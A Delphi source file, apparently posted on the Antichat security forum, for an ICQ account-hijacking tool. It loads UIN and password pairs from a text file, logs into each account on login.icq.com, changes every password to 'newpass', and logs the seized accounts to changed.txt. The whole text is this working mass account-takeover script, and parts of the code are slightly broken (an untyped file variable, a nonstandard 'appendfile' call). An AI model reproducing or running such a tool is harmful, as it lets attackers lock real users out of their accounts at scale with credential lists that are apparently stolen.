ANTICHAT — форум по информационной безопасности, OSINT и технологиям

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ICQClient, ICQWorks, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    ICQClient1: TICQClient;
    procedure Button1Click(Sender: TObject);
    procedure Change;
    procedure ICQClient1Login(Sender: TObject);
    procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
      ErrorMsg: String);
    procedure ICQClient1InfoChanged(Sender: TObject; InfoType: TInfoType;
      ChangedOk: Boolean);
    procedure ICQClient1LogOff(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  source:TStringList;
  tmp,uin,pass:string;

implementation

{$R *.dfm}

procedure TForm1.Change;
begin
 if source.Count>0 then
 begin
  tmp:=source.Strings[0];
  uin:=copy(tmp,1,pos(';',tmp)-1);
  pass:=copy(tmp,pos(';',tmp)+1,length(tmp));
  Memo1.Lines.Add(uin+' '+pass);
  ICQClient1.Password:=pass;
  ICQClient1.UIN:=StrToInt(uin);
  ICQClient1.ScreenName:=uin;
  ICQClient1.Login;
 end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 source:=TStringList.Create;
 source.LoadFromFile('source.txt');
 ICQClient1.ConvertToPlaintext:=True;
 ICQClient1.ICQServer:='login.icq.com';
 ICQClient1.ICQPort:=5190;
 Change;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
 Memo1.Lines.Add('con');
 ICQClient1.ChangePassword('newpass');
end;

procedure TForm1.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
  ErrorMsg: String);
begin
 Memo1.Lines.Add(tmp+' Err: '+ErrorMsg);
 ICQClient1.LogOff;
end;

procedure TForm1.ICQClient1InfoChanged(Sender: TObject;
  InfoType: TInfoType; ChangedOk: Boolean);
var fil;
begin
 assignfile(fil,'changed.txt');
 if fileexists('changed.txt') then appendfile(fil)
  else rewrite(fil);
 writeln(fil,uin+';'+'newpass');
 closefile(fil);
 source.Delete(0);
 Memo1.Lines.Add(tmp+' Changed');
 ICQClient1.LogOff;
end;

procedure TForm1.ICQClient1LogOff(Sender: TObject);
begin
 Memo1.Lines.Add('dis');
 Change;
end;

end.